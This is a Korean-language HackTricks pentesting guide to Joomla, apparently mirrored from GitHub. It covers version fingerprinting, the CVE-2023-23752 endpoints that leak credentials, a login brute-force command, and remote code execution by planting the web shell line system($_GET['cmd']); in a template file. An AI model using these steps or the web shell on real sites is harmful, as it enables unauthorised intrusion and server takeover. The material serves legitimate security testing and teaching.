mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
113 lines
4.5 KiB
Markdown
113 lines
4.5 KiB
Markdown
# Joomla
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
### Joomla 통계
|
|
|
|
Joomla는 Joomla 설치에서 사용 중인 Joomla, PHP 및 데이터베이스 버전과 서버 운영 체제의 분류와 같은 익명의 [사용 통계](https://developer.joomla.org/about/stats.html)를 수집합니다. 이 데이터는 그들의 공개 [API](https://developer.joomla.org/about/stats/api.html)를 통해 쿼리할 수 있습니다.
|
|
```bash
|
|
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
|
|
|
|
{
|
|
"data": {
|
|
"cms_version": {
|
|
"3.0": 0,
|
|
"3.1": 0,
|
|
"3.10": 6.33,
|
|
"3.2": 0.01,
|
|
"3.3": 0.02,
|
|
"3.4": 0.05,
|
|
"3.5": 12.24,
|
|
"3.6": 22.85,
|
|
"3.7": 7.99,
|
|
"3.8": 17.72,
|
|
"3.9": 27.24,
|
|
"4.0": 3.21,
|
|
"4.1": 1.53,
|
|
"4.2": 0.82,
|
|
"4.3": 0,
|
|
"5.0": 0
|
|
},
|
|
"total": 2951032
|
|
}
|
|
}
|
|
```
|
|
## Enumeration
|
|
|
|
### Discovery/Footprinting
|
|
|
|
- **메타** 확인
|
|
```bash
|
|
curl https://www.joomla.org/ | grep Joomla | grep generator
|
|
|
|
<meta name="generator" content="Joomla! - Open Source Content Management" />
|
|
```
|
|
- robots.txt
|
|
```
|
|
# If the Joomla site is installed within a folder
|
|
# eg www.example.com/joomla/ then the robots.txt file
|
|
# MUST be moved to the site root
|
|
# eg www.example.com/robots.txt
|
|
# AND the joomla folder name MUST be prefixed to all of the
|
|
# paths.
|
|
[...]
|
|
```
|
|
- README.txt
|
|
```
|
|
1- What is this?
|
|
* This is a Joomla! installation/upgrade package to version 3.x
|
|
* Joomla! Official site: https://www.joomla.org
|
|
* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
|
|
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
|
|
```
|
|
### Version
|
|
|
|
- **/administrator/manifests/files/joomla.xml**에서 버전을 확인할 수 있습니다.
|
|
- **/language/en-GB/en-GB.xml**에서 Joomla의 버전을 확인할 수 있습니다.
|
|
- **plugins/system/cache/cache.xml**에서 대략적인 버전을 확인할 수 있습니다.
|
|
|
|
### Automatic
|
|
```bash
|
|
droopescan scan joomla --url http://joomla-site.local/
|
|
```
|
|
In[ **80,443 - Pentesting Web Methodology는 Joomla를 스캔할 수 있는 CMS 스캐너에 대한 섹션입니다**](#cms-scanners).
|
|
|
|
### API 인증되지 않은 정보 유출:
|
|
|
|
버전 4.0.0에서 4.2.7까지는 인증되지 않은 정보 유출(CVE-2023-23752)에 취약하여 자격 증명 및 기타 정보를 덤프합니다.
|
|
|
|
- 사용자: `http://<host>/api/v1/users?public=true`
|
|
- 구성 파일: `http://<host>/api/index.php/v1/config/application?public=true`
|
|
|
|
**MSF 모듈**: `scanner/http/joomla_api_improper_access_checks` 또는 루비 스크립트: [51334](https://www.exploit-db.com/exploits/51334)
|
|
|
|
### 무차별 대입
|
|
|
|
이 [스크립트](https://github.com/ajnik/joomla-bruteforce)를 사용하여 로그인에 대한 무차별 대입을 시도할 수 있습니다.
|
|
```shell-session
|
|
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
|
|
|
|
admin:admin
|
|
```
|
|
## RCE
|
|
|
|
만약 **관리자 자격 증명**을 얻었다면, **PHP 코드** 조각을 추가하여 **RCE**를 얻을 수 있습니다. 우리는 **템플릿**을 **커스터마이즈**하여 이를 수행할 수 있습니다.
|
|
|
|
1. `Configuration` 아래의 **`Templates`**를 클릭하여 템플릿 메뉴를 불러옵니다.
|
|
2. **템플릿** 이름을 클릭합니다. `Template` 열 헤더 아래의 **`protostar`**를 선택합시다. 그러면 **`Templates: Customise`** 페이지로 이동합니다.
|
|
3. 마지막으로, 페이지를 클릭하여 **페이지 소스**를 불러올 수 있습니다. **`error.php`** 페이지를 선택합시다. 다음과 같이 **코드 실행을 위한 PHP 원라이너**를 추가할 것입니다:
|
|
1. **`system($_GET['cmd']);`**
|
|
4. **저장 및 닫기**
|
|
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
|
|
|
|
## From XSS to RCE
|
|
|
|
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla 취약점 악용 스크립트로 **XSS를 RCE 또는 기타 치명적인 취약점으로 상승시킵니다**. 더 많은 정보는 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. 이는 **Joomla 버전 5.X.X, 4.X.X, 및 3.X.X에 대한 지원을 제공하며, 다음을 허용합니다:**
|
|
- _**권한 상승:**_ Joomla에 사용자를 생성합니다.
|
|
- _**(RCE) 내장 템플릿 편집:**_ Joomla의 내장 템플릿을 편집합니다.
|
|
- _**(커스텀) 사용자 정의 익스플로잇:**_ 서드파티 Joomla 플러그인을 위한 사용자 정의 익스플로잇입니다.
|
|
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|